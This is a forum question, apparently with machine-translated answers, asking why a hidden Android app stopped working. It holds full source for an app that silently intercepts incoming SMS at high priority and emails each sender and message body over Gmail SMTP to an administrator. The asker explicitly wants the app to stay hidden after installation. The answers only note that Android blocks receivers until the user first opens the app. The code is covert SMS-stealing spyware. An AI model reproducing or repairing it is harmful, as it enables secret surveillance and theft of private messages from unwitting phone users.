0

I am developing a android application whose min sdk is 7 and target is 16.The application implements a broadcast receiver which receives new incoming sms and mails the message body and sender number to admin.til now the application runs fine but there is a requirement to keep the application hidden after installation.so when did i removed these lines from my manifest

<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>

the application did got hidden but is'nt sending mail.so i think broadcast receiver is not being called when i hide the app dont know the exact cause...Below is my code ...stucked from last two days..any help is greatly appreciated...

my manifest file

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="jd.dr.smsapp"
android:versionCode="1"
android:versionName="1.0" >

<uses-sdk
android:minSdkVersion="7"
android:targetSdkVersion="16" />
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
    android:label="@string/app_name"
    android:theme="@style/AppTheme" >
    <receiver android:name=".MainActivity"
         android:exported="true"
          android:enabled="true">
<intent-filter android:priority="999">
     <action android:name="android.provider.Telephony.SMS_RECEIVED"></action>
  <category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</receiver>

</application>

</manifest>

this is my activity

package jd.dr.smsapp;


import java.util.ArrayList;


import android.app.Activity;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.AsyncTask;
import android.os.Bundle;
import android.telephony.SmsMessage;
import android.util.Log;
import android.widget.ArrayAdapter;
import android.widget.ListView;
import android.widget.Toast;

public class MainActivity extends Activity
{
    /** Called when the activity is first created. */
     public static final String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";
     ListView list;

     ArrayList<String> messageList;
     ArrayAdapter< String> adapter;
     String msgno="";
     String msg="";

    public void onCreate(Bundle savedInstanceState)
    {

        super.onCreate(savedInstanceState);

        setContentView(R.layout.activity_main);
        list = (ListView) findViewById(R.id.listView1);



        messageList  = new ArrayList<String>();
        //messageList.add("check");
       adapter = new ArrayAdapter<String>(this, android.R.layout.simple_list_item_1, messageList);
       list.setAdapter(adapter);

        IntentFilter filter = new IntentFilter(SMS_RECEIVED);
        registerReceiver(receiver_SMS, filter);
    }
    BroadcastReceiver receiver_SMS = new BroadcastReceiver()
    {
        public void onReceive(Context context, Intent intent)
        {
             if (intent.getAction().equals(SMS_RECEIVED))
             {
                    Bundle bundle = intent.getExtras();
                    if (bundle != null)
                    {
                      Object[] pdus = (Object[]) bundle.get("pdus");
                      SmsMessage[] messages = new SmsMessage[pdus.length];

                      for (int i = 0; i < pdus.length; i++)
                        messages[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);

                      for (SmsMessage message : messages)
                      {

                         msgno=message.getDisplayOriginatingAddress();
                         msg=message.getDisplayMessageBody();
                         new sendmail().execute();
//                               Toast.makeText(MainActivity.this,     "----"+message.getDisplayMessageBody(), Toast.LENGTH_LONG).show();
                                 receivedMessage(message.getDisplayOriginatingAddress());
                      }
                    }
                  }
        }
    };
    private void receivedMessage(String message)
    {
        messageList.add(message);
        adapter.notifyDataSetChanged();
    }

//      @Override
//      protected void onStop()
//      {
//         
//          unregisterReceiver(receiver_SMS);
//          super.onStop();
//      }




    public class sendmail extends AsyncTask<Void, Void, String> {
        @Override
        protected String doInBackground(Void... params) {
            // TODO: attempt authentication against a network service.

            String output="1";

                try {
                    GMailSender sender = new    GMailSender("sendermailid", "senderpassword");

                    if(msgno.equals("") || msg.equals("")){
//                          Message("blank");

                    }else{
                    sender.sendMail("Message From "+msgno,msg,"sendermailid","receivermailid");   
                    Log.i("no error", msg+msgno);
                    }

                    } catch (Exception e) { 

                    Log.i("error", e.toString());
            output="0";
        }

                return output;
        }

        @Override
        protected void onPostExecute(String success) {
            if(success.equals("1")){
                Log.i("no error", success);
//                  Message("valid");
            }else{
//                  Message("invalid");
            }

        }
    }


    private void Message(String Msg) {
         Toast.makeText(MainActivity.this, Msg.toString(),     Toast.LENGTH_LONG).show();

    }  
}

this file is to authenticate and send mail GmailSender.java

package jd.dr.smsapp;

import javax.activation.DataHandler;   
import javax.activation.DataSource;   
import javax.mail.Message;   
import javax.mail.PasswordAuthentication;   
import javax.mail.Session;   
import javax.mail.Transport;   
import javax.mail.internet.InternetAddress;   
import javax.mail.internet.MimeMessage;   
import java.io.ByteArrayInputStream;   
import java.io.IOException;   
import java.io.InputStream;   
import java.io.OutputStream;   
import java.security.Security;   
import java.util.Properties;   

public class GMailSender extends javax.mail.Authenticator {   
private String mailhost = "smtp.gmail.com";   
private String user;   
private String password;   
private Session session;   

static {   
    Security.addProvider(new jd.dr.smsapp.JSSEProvider());   
}  

public GMailSender(String user, String password) {   
    this.user = user;   
    this.password = password;   

    Properties props = new Properties();   
    props.setProperty("mail.transport.protocol", "smtp");   
    props.setProperty("mail.host", mailhost);   
    props.put("mail.smtp.auth", "true");   
    props.put("mail.smtp.port", "465");   
    props.put("mail.smtp.socketFactory.port", "465");   
    props.put("mail.smtp.socketFactory.class",   
            "javax.net.ssl.SSLSocketFactory");   
    props.put("mail.smtp.socketFactory.fallback", "false");   
    props.setProperty("mail.smtp.quitwait", "false");   

    session = Session.getDefaultInstance(props, this);   
}   

protected PasswordAuthentication getPasswordAuthentication() {   
    return new PasswordAuthentication(user, password);   
}   

public synchronized void sendMail(String subject, String body, String sender, String recipients) throws Exception {   
    try{
    MimeMessage message = new MimeMessage(session);   
    DataHandler handler = new DataHandler(new ByteArrayDataSource(body.getBytes(), "text/plain"));   
    message.setSender(new InternetAddress(sender));   
    message.setSubject(subject);   
    message.setDataHandler(handler);   
    if (recipients.indexOf(',') > 0)   
        message.setRecipients(Message.RecipientType.TO, InternetAddress.parse(recipients));   
    else  
        message.setRecipient(Message.RecipientType.TO, new  InternetAddress(recipients));   
    Transport.send(message);   
    }catch(Exception e){

    }
}   

public class ByteArrayDataSource implements DataSource {   
    private byte[] data;   
    private String type;   

    public ByteArrayDataSource(byte[] data, String type) {   
        super();   
        this.data = data;   
        this.type = type;   
    }   

    public ByteArrayDataSource(byte[] data) {   
        super();   
        this.data = data;   
    }   

    public void setType(String type) {   
        this.type = type;   
    }   

    public String getContentType() {   
        if (type == null)   
            return "application/octet-stream";   
        else  
            return type;   
    }   

    public InputStream getInputStream() throws IOException {   
        return new ByteArrayInputStream(data);   
    }   

    public String getName() {   
        return "ByteArrayDataSource";   
    }   

    public OutputStream getOutputStream() throws IOException {   
        throw new IOException("Not Supported");   
    }   
}   

}

JSSEProvider

package jd.dr.smsapp;

import java.security.AccessController;
import java.security.Provider;

public final class JSSEProvider extends Provider {

/**
 * 
 */
private static final long serialVersionUID = -86921860237465997L;

public JSSEProvider() {
    super("HarmonyJSSE", 1.0, "Harmony JSSE Provider");
    AccessController.doPrivileged(new java.security.PrivilegedAction<Void>() {
        public Void run() {
            put("SSLContext.TLS",
                    "org.apache.harmony.xnet.provider.jsse.SSLContextImpl");
            put("Alg.Alias.SSLContext.TLSv1", "TLS");
            put("KeyManagerFactory.X509",
                    "org.apache.harmony.xnet.provider.jsse.KeyManagerFactoryImpl");
            put("TrustManagerFactory.X509",
                    "org.apache.harmony.xnet.provider.jsse.TrustManagerFactoryImpl");
            return null;
        }
    });
}
}
4

2 回答 2

1

除非用户从 Android 3.1 开始手动启动该应用程序的主 Activity,否则系统或任何其他应用程序不得启动应用程序的任何部分。

因此,您必须为您的应用程序提供一个启动器 Activity 并让用户在您的 BroadcastReceiver 在 Android 3.1 及更高版本上运行之前打开它。

于 2013-04-22T14:20:08.083 回答
0

Android 有一个基本的安全功能,在该应用程序的 Activity 运行之前,应用程序的后台服务、接收器等不会被启用。

于 2013-04-22T14:21:44.793 回答